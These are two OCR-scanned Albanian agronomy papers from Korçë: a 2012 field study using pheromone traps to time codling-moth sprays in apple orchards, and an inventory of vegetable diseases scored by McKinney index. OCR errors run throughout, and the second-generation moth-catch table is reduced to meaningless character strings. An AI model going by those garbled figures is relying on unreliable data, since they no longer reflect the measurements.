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PERDORIMI | FEROMONEVE NE PROGNOZIM-SINJALIZIMIN E
KRIMBIT TE MOLLES

(Carpocapsa pomonella L.)
Besnik Skenderasi'*, Gjergji Mero®, Nikolin Karapanci?, Ylber Bylyku?
Fakulteti i Bujgésisé, Universiteti “Fan S. Noli”, Korgé.
’Fondacioni AGRINET

Pérmbledhje

Krimbi i mollés éshté njé nga démtuesit kryesoré gé vazhdon té shkaktojé
déme té konsiderueshme né kulturén e moll€s.Ai konsiderohet njé¢ démtues “ky¢”i
késaj kulture.Né mé té shumtat e rasteve fermerét vazhdojné té kryejné trajtime
empirike ndaj kétij démtuesi dhe shpesh pa efektivitet.Kjo ka shpéné né rritjen e
shpenzimeve pa kriter por dhe né humbjen e prodhimit pér treg.Mungesa e njohurive
pér biologjiné e krimbit t& mollés dhe vecanérisht e mosnjohjes sé periudhés séceljes
sé larvave té para, kané shpéné né déshtimin e fermeréve ndaj luftimit té tij.Pérvec
metodés direkte dhe indirekte té kontrollit ndaj krimbit t& mollés, pérdorimi i
feromoneve seksualé, &shté njé mundési mé tepér né prognozé-sinjalizimin e kétij
démtuesi, nga fermerét gé kultivojné mollén.Eshté njé metodé e thjeshté né pérdorim
dhe e kuptueshme nga fermerét. Nuk kérkon njohuri té thella, ndihmon fermerét té
trajtojné kulturén e mollés né momentin e duhur, duke ruajtur sasiné dhe cilésiné e
frutave té mollés.

Abstract

Codling moth is one of the main pests that continue to cause considerable
damage to the culture of the apple. He is considered a "key" pest of this culture. In
most cases the farmers continue to perform empirical treatment against this pest and
often without effective.This has led to increased costs but also loss of production for
the market. Lack of knowledge about the biology of the codling moth and especially
ignorance of the larvaehatching has led to the failure of farmers to combat it. In
addition to direct and indirect methods to control codling moth, use of sex
pheromone, is a more likely signal the prognosis of this pest by farmers who
cultivate apple. It is a simple method to use and understandable by farmers. It does
not require deep knowledge, helps farmers to treat culture of apple at the right time,
while maintaining the quantity and quality of apple fruits.

1. Hyrje

Feromonet seksuale jané substanca kimike aromatike té prodhuara nga
insektet, kryesisht femrat, gé térheqgin meshkujt té té njéjtés specie.Feromonet,
ndryshe nga hormonet, jané substanca gé prodhohen e veprojné nga jashté trupit té
insekteve gé i sekretojné ato.



Né programet e luftés sé integruar feromonet e prodhuara né ményrésintetike zéné
njé vend shumé té réndésishém. Feromonet seksuale prodhohen dhe tregtohen né
kapsula Kéto vendosen né brendési té kurthit (Figura 8).Paretet e kurthit mund té
jené plastike ose prej kartoni.Forma né trajtén e catis€ mbron feromonin por edhe
paretet nga shirat dhe nga rrezatimi diellor.Nga pjesa e brendshme paretet jané té
lyera me léndé ngjitése si dhe té dizenjuara me katroré me numra pér rastet e
monitorimit té fluturave té krimbit té mollés.Ekzistojné kurthe me feromone edhe
pér géllime té tjera si: pér kapje masive té fluturave ose pér corientim seksual té
tyre.[9]

Monitorimi i kapjes sé fluturave té& krimbit té mollés dhe pércaktimi i kohés sé
trajtimeve kimike kundér tij pérbéjné dhe objektivin e kétij studimi.

Pér té pérdorur feromonet kérkohet té njihet miré edhe etiologjia dhe biologjia e
krimbit t& mollés.

Krimbi i mollés Laspeyresia (Carpocapsa) pomonella L.Sinonim tjetér i tij éshté
Cydia pomonella.Eshté njé démtues, pérfagésues i rendit Lepidoptera dhe bén pjesé
néfamiljenTortricidae.Pérvec frutave té mollés démton edhe dardhén, ftoin, kajsing,
lajthiné dhe mé pak pjeshkén, arrén, kumbullén, géshtenjén, gershiné etj. Hyrja né
fruté béhet népérmjet njé vrime rrethore né cipén e frytit mbi té cilén larva bén njé
galeri spirale ge vazhdon né drejtim té farés. (Figura 1)Fruti i démtuar dallohet nga
jashtéqitjet né formé tallashi.Ata pigen para kohe.Né periudha té mévonshme frutat
rrézohen pér toké ndérsa larva vazhdon démtimin né frytin mé té afért.Insekti i rritur
éshté flutur e familjes Tortricidae.Gjerésia e krahéve té shtrira nga 15-20 mmme
ngjyré té pérhimét né kafe té pérshkuara né ményré té térthorté me vija té ngushta
kafe té valézuara. Né pjesén skajore té krahéve ndodhet njé njollé kafe mijaft
karakteristike e rrethuar me ngjyré bronzi me shkélgim metalik.(Figura 2).Veza
éshté rreth 1 mm, e tejpashme dhe ka formén e pikés sé ujit. Né fund té zhvillimit té
embrionit dallohet njé rreth i kug.(Figura 3).Larva ka gjatési 15-20 mm me ngjyreé té
bardhé, té verdhé ose tréndafili sipas ushgimit koka dhe parashpina kané ngjyré
kafe té errét.(Figura 4). Diméron si larvé e moshés sé fundit né té carat e trungut té
peméve, brenda njé méshikéze té shkrifét né formén e patkoit. (Figura 5).Kur
temperatura mesatare e ajrit rritet né 9-10°C fillon krisalidimi, ndérsa né mbi 15°C
shfagen fluturat.(Figura 6).Fluturimi vérehet né mbrémjet e ngrohta dhe pa
eré.Vezévendosja fillon kur temperatura mesatare e ajrit arrin 20°C.Kjo ndodh 1-2
javé pas shfagjes sé fluturave té para.Depozitimi i vezéve vazhdon 6-14 dité.Cdo
femér mund té vendosé nga 60-160 vezé.Zhvillimi embrional vazhdon 1-2
javé.Ndérsa zhvillimi larvor shkon nga 20-30 dité.Krimbi i mollés mund té japé pér
vendin toné nga 2-3 brezni né vit.[6]

2. Materiali dhe metoda

Eksperimenti u ngrit né 5 fshatra: Zviriné, Dvoran, Vranisht, Polené dhe
Progér dhe né 8 pemétore, pérkatésisht nga dy pemétore né tre fshatrat e paré dhe
nga njépemétore né dy fshatrat Polené dhe Progér.



Né secilén pemétore né fillim té majit u vendos nga njé gracké me feromon seksual
(Phero Norm®) (Figura 7), prodhim i kompanisézvicerane Andermatt Biocontrol.
Grackat pérgjithésisht u vendosén né brendési té kurorés sé& molléve né
prodhim.(Figura 8).

Kontrolli i grackave kryhej ¢do dité né méngjes dhe té dhénat shénoheshin né njé
fletore té vecanté sipas tabelés 1 dhe 3.

Kur fluturat e kapuranga grackat arrijné kulmin, dy javé pas saj duhet té kryhen
trajtimet e para, sepse koicidon me kohén e daljes sé larvave té para té krimbit té
mollés. Fluturat e kapura jané té gjitha té seksit mashkull, sepse feromoni éshté i
seksit femér.

Trajtimet kimike u kryhen me insekticidet Clorpyrifos (Chlorpyriphos) 0.15% dhe
Calipso (Thiacloprid) 0.02% pér brezningé e paré (Tabela 2) dhe me Clorpyrifos
0.15%, Calipso 0.02% dheAvaunt (Indoxacarb) 0.03 % pér brezniné e dyté.(Tabela
4).11

Spérkatja e peméve u krye me pompa spérkatésecentrifugale duke pérdorur
mesatarisht 1000 litra solucion/ha.

Pér 4 kultivarét e mollés: Starking, Golden, Idared dhe Grand Smith u analizuan nga
100 kokrra mollé, pér cdo varietet. Kokrrat u analizuan né 10 pemé té zgjedhura né
ményré té rastésishme, me nga 10 kokrra mollé.Gjithsej u analizuan 400 kokrra
mollé, pér ¢do brezni.

Pér brezniné e paré té krimbit té mollés analizat u kryen né daté 20 gershor dhe pér
brezniné e dyté né 25 gusht 2012.

3. Rezultatet dhe diskutimi i tyre

Pér brezniné e paré, fluturat e para u kapén né datén 12 maj dhe pérfunduan
né datén 26 maj, me njé kohézgjatjeje prej 14 ditésh.Temperatura mesatare e késaj
periudhe ka qené11.8°C.Kané rezultuar 8 dité me reshje me 81.1 mm shi gjithsej.

Pér brezniné e dyté, fluturat e para u kapén né datén 28 gershor dhe pérfunduan né
datén 29 korrik, me njé kohézgjatjeje prej 32 ditésh. Temperatura mesatare e késaj
periudhé ka gené 21.2°C.Ka rezultuar njé¢ muaj pa reshje. Zgjatja e periudhés sé
shfagjeve té fluturave té breznisé sé dyté béri té mundur gé té kryheshin dy trajtime
kimike.

Pér brezniné e paré fluturat u kapén né gracka né té 5 fshatrat né té njéjtén kohg, 12
maj 2012.(Tabela 1)

Pér brezniné e dyté, shfagja e fluturave té para kishte diferenca té theksuara. Fluturat
e para u kapén né 28 gershor né fshatin Zviring, ndérsa né fshatin Progér, fluturat e
para u kapén né 14 korrik 2012. (Tabela 3).Kjo erdhi si rezultat i diferencave té
temperaturave géekzistonin midis 5 mikrozonave né kété periudhé té vitit.

Pérdorimi i insekticideve té pérdorura si calipso 0.025% dhe clorpyriphos 0.15%,
pér brezniné e paré dhe calipso 0.025%, clorpyriphos 0.15% dhe Avaunt® 0.03%,
pér brezniné e dyté, kané gené shumé efektive.



Pérdorimi né kohén e duhur i insekticideve, béri t& mundur gé shkalla e prekjes sé
frutave nga krimbi i mollés té jeté thuajse 0%.(Tabela 5)

4, Perfundime dhe rekomandime

1. Pérdorimi i feromoneve seksualééshté njé metodé mjaft efikase pér
prognozé-sinjalizimin e krimbit t¢ mollés dhe marrjen né kohé té€ vendimit pér
trajtime kimike.

2. Fluturat e para té breznisé sé paré u kapén nga 12-16 maj 2012. Ndérsa
maksimumi i fluturave, u kapén nga 16 maj deri 22 maj 2012.(Grafiku 1).

3. Fluturat e para té breznisé sé dyté u kapén nga 28 gershori deri né 12 korrik 2012.
Ndérsa maksimumi u kapén nga 16 korrik deri né 26 korrik 2012.(Grafiku 2).

4. Megenése koha e daljes sé fluturave pér brezningé e dyté éshté mé e gjaté se
breznia e paré, atéheré duhet gé pér brezniné e dyté té kryhet njé trajtim i dyté 7-10
dité pas trajtimit té paré.

5. Trajtimet kimike duhet té kryhen 2 javé pas kapjes maksimale té fluturave pér ¢cdo

brezni té krimbit té mollés. Kjo kohé koincidon me daljen e larvave té para té
krimbit t& mollés.
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Tabela 1.Té dhéna mbi kapjen e fluturave té krimbit té mollés. (Breznia I)

Data Zviriné Dvoran Vranisht Polené  Progér
Nr. fluturave t€¢ Nr. fluturave té Nr. fluturave t¢ Nr. fluturave té
kapura kapura kapura kapura
Gracka Gracka Gracka Gracka Gracka Gracka Gracka Gracka
1 2 1 2 1 2 1 1
1205 2 0 2 0 0 1 1 1
13 4 0 5 0 0 1 2 2
14 5 0 3 1 0 3 4 3
15 5 0 3 1 2 3 5 6
16 7 1 3 5 1 9 7 10
17 9 1 4 2 2 8 9 13
18 6 2 7 5 6 5 12 12
19 4 4 3 0 8 2 7 8
20 4 3 5 6 2 1 2 5
21 3 3 5 2 2 1 1 3
22 2 2 4 7 1 1 1 3
23 1 1 2 1 1 0 1 1
24 0 2 2 1 1 0 0 1
25 0 1 1 1 0 0 0 0
26 0 0 0 1 0 0 0 0
27 0 0 0 0 0 0 0 0
Tabela 2.Té dhéna pér krimbin e mollés. Breznia | (Viti 2012)
Data  Kapja
e maksimale e Trajtimet kimike
Zona Nr. i kapjes fluturave
gracka  sé (Neé dité)
ve flutur Trajtimi | Trajtimi 11
ave té Data Nr.
para flutura
ve Data  Fungicidi Data Fungicidi
% %
Zviriné  Gracka 12.05 170 9 02.06  Clorpyrifos 12.06  Calipso 0.025
1 5 0.15
Gracka 16.05 19.0 4 03.06 Calipso 0.025 13.06  Clorpyrifos 0.15
2 5
Dvora Gracka 12.05 180 7 02.06  Clorpyrifos 12.06  Calipso 0.025
n 1 5 0.15
Gracka 14.05 220 7 06.06 Calipso 0.025 - -
2 5
Vranis Gracka 1505 19.0 8 02.06 Calipso 0.025 - -
ht 1 5
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Gracka 12.05 16.0 9 02.06 Calipso 0.025 - -

2 5

Polené Gracka 13.05 18.0 12 03.06  Clorpyrifos - -
1 5 0.15

Progér Gracka 12.05 17.0 13 01.06  Clorpyrifos - -
1 5 0.15

Tabela 3.Té dhéna mbi kapjen e fluturave té krimbit té mollés. (Breznia I1)

Datat Zviring Dvoran Vranisht Polené Progér
Gracka Gracka Gracka  Gracka2 Grackal Gracka2 Grackal Gracka
1 1
28.06
29.06
30.06
1.07

OO OO OOOOWNRPFPORFRPOOONOOORFRPOWONMNMNONPWOORLON
OCOOCOORFRPPAPWERLPRNREFPONPAENEEPNEPNPFPPNOOOOOOOOOOOOR
OO OPFrRPOO0OO0COFRPRFRPPFPPPOOWORPROPFRPROOPRPOOOOOOOOOOO
OCONWOWWWRFRPROORPROORPRFPPFPPONMMNMNOOOOOOOOOOOO
OO OO0 OO0 O0OO0OO0OOPRLPODUIRPORPPPOOOOOOOOOOOOOO
OO OO ODOOOODODODOOOWNNOORFRPRPFPOPOOOORPEPPLPOOOO
OO OO ORFRPRONPFPFNOOOOOONRPFOOODOOOOOOOOOOOOOo

1
2
0
2
0
0
1
2
2
0
0
1
1
0
0
0
0
15 0
0
0
1
0
2
2
1
0
0
5
2
1
0
0
0
0
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Tabela 4. Té dhéna pér krimbin e mollés. Breznia Il (Viti 2012)

Kapja
Data e maksimale e Trajtimet kimike
Zona Nr. i kapjes fluturave
grackav  sé (Neé dité)
e fluturav Nr. Trajtimi | Trajtimi 11
e t¢ Data fluturav
para e Data Fungicid Data Fungicidi
i %
%
Zviriné  Gracka  28.06 240 5 09.0 Calipso 19.0 Avaunt®
1 7 8 0.025 8 0.03
Gracka  29.06 230 3 15.0 Calipso 07.0 Avaunt®
2 7 7 0.025 8 0.03
Dvoran  Gracka  10.07 260 4 07.0 Calipso 17.0  Clorpyrifo
1 7 8 0.025 8 5s0.15
Gracka  09.07 160 3 01.0 Calipso  10.0  Clorpyrifo
2 7 8 0.025 8 5s0.15
Vranish  Gracka  10.07 240 5 07.0 Calipso 17.0  Avaunt®
t 1 7 8 0.025 8 0.03
Gracka  12.07 170 5 02.0 Calipso 12.0 Avaunt®
2 7 8 0.025 8 0.03
Polené  Gracka  02.07 170 3 02.0 Calipso  12.0  Clorpyrifo
1 7 8 0.025 8 5s0.15
Progér Gracka  02.07 240 4 07.0 Calipso 17.0  Clorpyrifo
1 7 8 0.025 8 5s0.15

Avaunt® = |.a. Indoxicar

Tabela 5. Té dhéna mbi shkallén e prekjes sé frutave (2012)

Breznia | Breznia Il
Kultivarét Fruta té  Fruta té  Fruta té  Fruta té
analizuara prekura analizuara prekura
Starking 100 0 100 1
Golden 100 1 100 0
Idared 100 0 100 0
Grand Smith 100 0 100 0
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Mumurii fluturave té kapura

== Zyiring& Gracka 1

=l Zviring Gracka 2

== Dvaran Gracka 1

i Diyvaran Gracka 2

= \franisht Gracka 1

== ranisht Gracka 2

—t—Poleng Gracka 1

Progér Gracka 1

Grafi

ku 1.Numri i fluturave té kapura sipas datave (Breznia I)

Mumurii fluturave t& kapura

AT AT

4]

L e e |

28.06

Datat

AN/ A w%
49

\ —— Zviriné
‘ "|I 'l —— Dvoran
I 'l —#—\Vranisht
" ! —— Polend
l';&ll‘ —+— Progér
1883

Grafiku 2.Numri i fluturave te kapura sipas datave (Breznia Il
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“VLERESIMI I SITUATES FITOPATOLOGIKE NE KULTURAT
KRYESORE TE PERIMEVE NE ZONEN E KORCES”

Universiteti “Fan S. Noli” Korg¢é, Fakulteti i Bujgésisé
Besnik SKENDERASI*, Nevruz ZEKA, Edmond SPAHIU

Pérmbledhje

Perimet né zonén e Korgés zéné njé vend té réndésishém né prodhimin e
pérgjithshém bujgésor. Sipérfagen mé té madhe e zéné 4 kultura: domatja, speci,
shalqgiri dhe gepa. Pércaktimi dhe inventarizimi i sémundjeve kryesore éshté kryer
né rrethin e Korcés me kéto metoda:

Metoda makroskopike:Pér pércaktimin e sémundjeve u monitoruan kultura té
shumta té mbjella né fushé té hapur dhe né ambiente té mbrojtura.

Metodamikroskopike:Konsistoi né vrojtimin mikroskopik té shkaktaréve té
sémundjeve kérpudhore té sjellé nga fusha.

Metoda mikrobiologjike:Konsistoi né kultivimin e patogjenéve kérpudhore né
terrene ushqyese artificialé. Llogaritja e indeksit t& sémundjeve u krye sipas
formulés sé Mckinney.

Nga sémundjet e inventarizuara 63 % i zéné sémundjet kérpudhore, 14 % i zéné
sémundjet bakteriale dhe 23 % i z&né sémundjet e virusale.Nga sémundjet, humbjet
shkojné rreth 20% té prodhimit né vit.

Fjalét celés: inventarizim, indeksi i sémundjes, infeksion, virusale, bakteriale,
kérpudhore, Mckinney.

Abstract

Vegetables in Korga area occupy an important place in the overall agricultural
production. The largest surface is occupied by four cultures: fomatoes, pepper,
watermelon and onion. Determination and inventory of major diseases, which was
the purpose of this study, was conducted with these methods:

Macroscopic method: For the determining of diseases were monitored numerous
cultures sowing in the open field and protected environments.

Microscopic method: Consisted on the microscopic survey of the causes of fungi
diseases.

Microbiological method: Consisted on the cultivation of fungi pathogenic grown in
artificial nourishing terrain. Calculation of the desease indeks, according to
established McKinney formula.

From the inventoried diseases, 63% belonged to fungi diseases, 14% belonged to
bacterial diseases and 23% belonged to virus diseases. The damage by diseases was
estimated up to 20% of the production level, per year.

Key words: inventory, intensity, infection, virus, bacterial, fungi, McKinney.
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Hyrje
Perimet zéné njévend té réndésishém né ushqyerjen e njerézve. Rrethi i Korgés éshté
njé zoné qé tradicionalisht i ka kultivuar perimet.Sot, perimet zéné vetém 4.6 % té
sipérfages sé tokés sé mbjellé dhe 7.5 % té prodhimit té pérgjithshém bujgésor té
rrethit t& Korcés.Problemet fitosanitare gé hasen jané té shumta. Nga sémundjet e
kulturave perimore humbjet shkojné né20% té prodhimit.

Metoda mé e miré e kontrollit ndaj patogfenéve éshté pérdorimi i kultivaréve
gjenetikisht rezistenté. Nga kéto 4 kultura zéné sipérfagen mé té madhe: domatya,
speci, shalgini dhe gepa.

1. Materialedhe metoda

Metoda makroskopike. Pér pércaktimin e sémundjeve jané vizituar kultura té
shumta té mbjella né fushé té hapur dhe né ambiente té mbrojtura.

Metoda mikroskopike.Ka konsistuar né vrojtimin mikroskopik té shkaktaréve té
sémundjeve kérpudhore té kulturave perimore, nga materiali i sjellé nga fusha.

Metoda mikrobiologjike.Konsiston né kultivimin e patogjenéve kérpudhore né
terrene ushqyes artificialé.Pér kété géllim ka shérbyer terreni patate-dekstrozé-agar
(PDA).Pas mbjelljes né kulturé té pastér, pjatat petri u vendosén né termostat né
temperaturé té pérshtatshme pér rritjen e tyre.Pas 24-48 orésh éshté béré vrojtimi pér
té paré formimin e kérpudhave.

1.1. Vrojtimi i organeve té riprodhimit té sémundjeve né laborator

Organet bimore té prekura nga sémundjet né fazén e sporifikimit iu nénshtruan
ekzaminimeve laboratorike. U pérgatitén materialet pér ¢do sémundje dhe u pané né
mikroskop né zmadhimin 10 x 20.Me anén e ¢elésave pérkatés u pércaktua c¢do
sémundje.Pér sémundjet bakteriale e kérpudhore té tipit té trakeobakteriozave dhe
trakeomykozave éshté gjykuar mbi bazén e vrojtimeve né fushé.Pér sémundjet
virusale éshté gjykuar mbi bazén e vrojtimeve makroskopike né fushé. Jané vrojtuar
4 kultura kryesore perimore, né katér pika té ndryshme té rrethit té Korcés: Dvoran,
Bulgarec, Pojan, Pirg.

1.2. Vlerésimi i sémundjeve

Ndjekja e ecurisé sé ¢do sémundijeje u krye gé me diktimin e shenjave té para né
fushé, né disa pika té mbjella me kultura perimore dhe pastaj vrojtimi u krye ¢do 15
dité.Vlerésimi pérfundimtar i sémundjeve u krye né fund té periudhés sé
vegjetacionit. Pérhapja e sémundjeve, té tipit té trakeo-parenkimatozave, né bimét
éshté vlerésuar sipas njé shkalle me pesé klasa:

Klasa 0 bimé té shéndosha

Klasa 1 bimé me humbje té turgorit dhe zverdhje té gjetheve
Klasa 2 bimé me zverdhje dhe vyshkje té gjetheve

Klasa 3 bimé me vyshkje dhe tharje té gjetheve
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Klasa 4 bimé me tharje té& shumta ose bimé té thara

Pér sémundjet e pjeséve mbitokésore t& biméve vlerésimi éshté béré nga vrojtimi i
100 gjetheve, kércejve, frutave(10 pika x 10 gjethe, fruta, kércej) té studiuara sipas
kétij rregulli.

Numri i gjetheve té Kaoeficienti Shkalla

prekura
0% 0 S’ka s€mundje
1-25% 1 Pérhapje e kufizuar
25-50 % 2 Pérhapje mesatare
50-75 % 3 Pérhapje e réndé
75-100 % 4 Pérhapje shumé e réndé

Pér sémundjet e rrénjéve vlerésimi éshté béré mbi pérgindjen e démtimit té sistemit
rrénjor. Indeksi i sémundjes éshté pérllogaritur népérmijet formulés sé McKinney:
_ 0 (mK) AT e
I %= ————= X100 né té cilén: | = Indeksi i sémundjes sé analizuar
NXK
n = Numri i gjetheve, frutave, kércejve té analizuara pér ¢cdo kategori. k = Numri i
kategorisé.

N = Numri i gjithésej i gjetheve, frutave, kércejve té analizuara. K = Numri gjithsej i
kategorive.

O =Shumae (nxK).

2. Rezultatet e arritura dhe diskutimi i té dhénave

2.1 Sémundjet kryesore t¢ domates

Leveillula taurica(Hiri i solanoreve).Hiri &shté njé kérpudhé parazite e detyruar gé
prek kryesisht gjethet, duke shkaktuar shfagjen e njollave té verdha, kéndore dhe me
ané té pércaktuara miré te domatja.Sémundija shfaget né kulturat e vona nén ujé té
domates duke u nisur nga gjysma e gushtit kur kushtet e temperaturés dhe lagéshtisé
relative jané té favorshme pér parazitin (Kaltani T., Celo B. 1982).

Cladosporium fulvum(Njollosja kafe e gjetheve).Kladosporioza e domates éshté
njé nga sémundjet mé té rrezikshme té domates té kultivuar né ambiente té
mbrojtura.Simptomat e para té njollosjes kafe shfagen mbi gjethet e poshtme té
bimés dhe mé voné pérhapen né tégjithé bimén duke prekur té gjithé vegjetacionin.

Botrytis cinerea(Kalbézimi gri).Sémundja mund té preké té gjitha organet ajrore té
bimés.Prekjet mbi kércell favorizohen nga prania e plagéve dhe nga kontakti me
mbeturinat e luleve té nekrotizuara ku miceli i patogjenit mund té zhvillohet né
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ményré saprofite.Fruti i prekur kalbet térésisht, ndérsa né sipérfage diferencohet
myku karakteristik me ngjyré gri i pérbéré nga organet e riprodhimit konidial.

Phytophthora infestans (Vrugu i solanoreve). Simptomat e sémundjes vihen re
mbi té gjitha organet ajrore t& bimés.Mbi gjethe shfagen njolla té ¢ngjyrosura té
lokalizuara kryesisht né anét e gjethes.Njollat marrin ngjyré kafe, thahen duke
shkaktuar nekrotizimin e té gjithé gjethes.Né anén e poshtme, nén njollé dhe né
lagéshti té larté, formohet njé myk i bardhé, i pérbéré nga sporangombajtés me
sporangjet gé dalin nga stomat.Frutat kalben plotésisht.

Fusarium oxysporum F. Sp. Lycopersici(Fusarioza).Kjo sémundje mund té
shfaget né té gjitha moshat e zhvillimit té bimés.Né prerjet térthore dhe gjatésore té
kércejve dhe té bishtave té gjetheve té prekura dallohen nxirje té theksuara té
sistemit vaskular.

Pyrenocheta lycopersici (Tapézimi i rrénjéve né domate).Paraziti prek indet
kortikalé té rrénjéve gé ¢ojné né proceset intensive té ndryshimit dhe tapézimit té
gelizave. Pérvec kétyre sémundjeve jané konstatuar edhe sémundje té tjera,
si:1. Phytophthora parasitica (Vrugu i kércellit).2.Alternaria solani (Alternarioza).3.
Didymella lycopersici (Kalbézimi i kércellit).4.Septoria lycopersici (Njollosja e
bardhé e gjetheve).5. Botrytis cinerea (Kalbézimi gri) .

2.2 Vlerésimi i intensitetit té sémundjeve né kulturén e domates

Pér sémundjet e hirit, kladosporiozés, kalbézimit gri dhe vrugut éshté béré vlerésimi
i sipérfages sé organeve té infektuara konform metodikés.Ndérsa pér sémundjen e
fusariozés vlerésimi éshté béré mbi bazén e prekjes sé kércellit.Pér sémundjen e
tapézimit éshté béré vlerésimi i rrénjéve sipas infeksionit (Tabela 1. dhe Grafiku
1.).Fusarioza paraqitet me pérgindjen mé té larté pér faktin se temperaturat e ajrit
kané gené relativisht té larta dhe lagéshtia ajrore né nivelet mé té uléta.

2.3 Sémundjet kryesore né kulturén e specit

Verticillium dahliae (Traheoverticilioza e specit).Trakeoverticilioza paraget pér
solanoret sémundjen kérpudhore me réndési kryesore si pér nga pérhapja ashtu dhe
nga démi gé ajo shkakton.Simptomatologjia tipike e verticiliozés éshté humbja e
turgorit té gjetheve né orét mé té nxehta té dités pér shkak té shtimit té aktivitetit
respirator.Mé voné gjethet vyshken dhe thahen.Né pjesén e poshtme té kércellit
vihet re njé nxirje e theksuar e vazove (Hasani M., 1998).

U konstatuan edhe sémundjet e méposhtme:

1. Verticillium albo-atrum (Verticilioza)2.Leveillula taurica (Hiri)3.Botrytis cinerea
(kalbézimi gri) 4.Phitophthora capsici (kalbézimi i gafés sé kércellit) 5. Fusarium sp.
(fusarioza) 6.Alternaria capsici —annui  (alternaria)l.Gleosporium  piperatum
(Gleospora).
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2.4 Vlerésimi i intensitetit té sémundjeve né kulturén e specit

Né vlerésimin e indeksit té sémundjessé vyshkjes kérpudhore pér vlerésim jané
marré bimé me shenja vyshkjeje té pjesshme ose té pérgjithshme.Pér sémundjen e
kalb&zimit té zi té majés pér vlerésim jané marré fruta speci té prekura dhe me
shenja dalluese.Ndérsa pér sémundjen e antraknozés vlerésimi éshté béré mbi bazén
e infeksionit né gjethe dhe fruta (Tabela 2. dhe Grafiku 2.).

Infeksioni i vyshkjes kérpudhore éshté mé i larté se sémundjet e tjera sepse éshté
favorizuar nga temperaturat e larta gjaté verés dhe lagéshtia e ulét ajrore, gjé gé nuk
ka stimuluar zhvillimin e antraknozés dhe té kalbézimit té zi té majés sé frutit.

2.5 Sémundjet kryesore né kulturen e shalginit

Pseudoperonospora cubensis (Vrugu i kungulloréve). Mbi gjethe, fillimisht kjo
sémundje kérpudhore shfaget me zona té shndritshme dhe ulliri, me ané té hijezuara
dhe kéndore.Né& prani té lagéshtisé sé larté kété zona marrin njé ngjyré gjelbét
nékafe dhe nén to, né anén e poshtme vihet re njé myk karakteristik gri-vjollcé i
pérbéré nga organet e shumézimit té kérpudhés.Kur prekja éshté shumé e larté, con
né tharjen e gjithé bimés.

Sphaerotheca fusca (hiri i kungulloreve).Sémundja mé e rrezikshme dhe mé e
pérhapur e kungulloreve éshté hiri i shkaktuar nga Sphaerotheca fusca. Sémundja
prek té gjithé pjesét e gjelbra t& bimés. Fillimisht mbi gjethe shfagen njolla té vogla
té bardha, té rrumbullakéta gé mé voné zmadhohen e bashkohen duke mbuluar gjithé
sipérfagen gjethore’.

2.6 Vlerésimi i intensitetit té sémundjeve né kulturén e shalqinit

Pér vlerésimin e sémundjeve té vrugut dhe té hirit né kungullore pér bazé jané marré
né analizé gjethet, ndérsa pér sémundjen e antraknozés jané analizuar frutat (Tabela
3. dhe Grafiku 3.).Faktorét e lagéshtisé ajrore dhe té temperaturave gjaté stinés sé
verés nuk kané béré t& mundur zhvillimin e madh té sémundjeve.Mbjellja e llojeve
rezistente dhe trajtimet kimike kané ulur ndjeshém pérhapjen e infeksioneve.

2.7 Sémundjet kryesore né kulturén e gepés

Peronospora schleideni (Vrugu i gepés).Vrugu gjendet i pérhapur kudo sidomos
né vite me pranveré té lagét duke tharé gjethet para se té formohen bulbet.Mbi gjethe
formohen njolla me ngjyré té bardhé ose gri né té gjelbér. Mbi kéto njolla formohet
njé push né ngjyré vjollce gé pérfagéson organet e riprodhimit. Gjethet daléngadalé
fillojné té kalben e té thahen.

Botrytis alli(Kalbézimi i gepés).Eshté konstatuar né gjithé zonén e Korgés. U
konstatuan edhe sémundjet e méposhtme: 1.Puccinia allii (Ndryshku).2.Urocystis

'Ciccarerese F., etj, 2001
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cepulae (Urthi).3.Sclerotium cepivorum (Kalbézimi i bardhé) 4.Aspergillus niger
(Myku i zi).

2.8 Vlerésimi i intensitetit té sémundjeve né kulturén e gepés

Pér té béré vlerésimin e intensitetit té prekjes pér bazé jané marré gjethet, pjesérisht
bulbet pér sémundjen e kalbézimit gri (Tabela 4. dhe Grafiku 4.).

Kushtet e papérshtatshme té klimés, mbjellja e llojeve rezistente dhe trajtimet
kimike kané béré gé numri i sémundjeve dhe shkalla e infeksionit té jené né nivelet
mé minimale né kété kulturé.

3. Perfundime
-Sémundjet e inventarizuara né kulturat perimore té rrethit té Korgés paragiten :
a 63 % izéné sémundjet kérpudhore

a 14 % i zéné sémundjet bakterial
a 23 % i zéné sémundjet e virusale

-Inventarizimi nuk mund té konsiderohet njé proces i mbyllur, pasi numri i
sémundjeve té pranishme éshté edhe mé i madh, por gé nuk jané identifikuar ende.

-Indeksi i shfagjes sé sémundjeve éshté né vartési té shkallés sé géndrueshmérisé sé
kulturave dhe faktoréve té tjeré biotike dhe abiotike ku rolin kryesor e zéné
temperatura dhe lagéshtia.

-Nga démtimi i kulturave perimore prej sémundjeve humbjet shkojné né 20 % té
prodhimit vjetor.

4. Rekomandime
1. Té vazhdojé puna pér inventarizimin e sémundjeve té tjera té paidentifikuara.

2. Duhen kryer trajtimet kimike mbi bazén e prognozé-sinjalizimit pér t& mbajtur
pastér kulturat perimore nga sémundjet.

3. Té mbillen kultivaré rezistenté ndaj sémundjeve problematike si¢ jané vrugjet,
trakeomykozat dhe trakeobakteriozat.

Tabela 1. Vlerésimi i indeksit t& sémundjeve né kulturén e domates.

Gjethe, fruta, kércej té | Indeksi i

Nr. | Sémundja prekura sipas shkallés sémundjes (%0)
ng | n Na Ny

1 Leveillula taurica 9 6 2 1 12

2 Cladosporium fulvum 2 4 2 1 8

3 Botritis cinerea 5 2 3 2 10

4 Phytophthora infestans 3 2 1 1 6

5 Fusarium oxisporium f.sp. | 10 | 7 3 4 20

lycopersici
6 Pyrenocheta lycopersici 2 1 2 1 5
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Tabela 2.Vlerésimi i indeksit té sémundjeve né kulturén e specit.

Nr Gjethe, fruta, keércej té | Indeksi i
Sémundja prekura sipas shkallés sémundjes (%)
ng N, N3 Ny
1 Verticillium dahliae 22 11 9 6 24
2 | Alternaria capsici, annui 7 5 2 3 9
3 Gleosporium piperatum 18 7 3 2 12

Tabela 3. Vlerésimi i indeksit té sémundjeve né kulturén e shalginit.

Gjethe, fruta, kércej té

Indeksi

Nr. | Sémundja prekura sipas shkallés sémundjes (%)
Ny Ny N3 Ny

1 Pseudoperonospora cubensis | 3 2 1 1 9.3

2 Sphaerotheca fusca 4 1 1 0 6

3 Clagsosporium lagenarium | 6 1 1 0 7.3

Tabela 4. Vlerésimi i indeksit té sémundjeve né kulturén e gepés.

Gjethe, fruta, kércej té | Indeksi i
Nr | Sémundja prekura sipas shkallés sémundjes (%)
. ny Ny N3 Ny
1 Peronospora schleideni 8 2 4 1 4.6
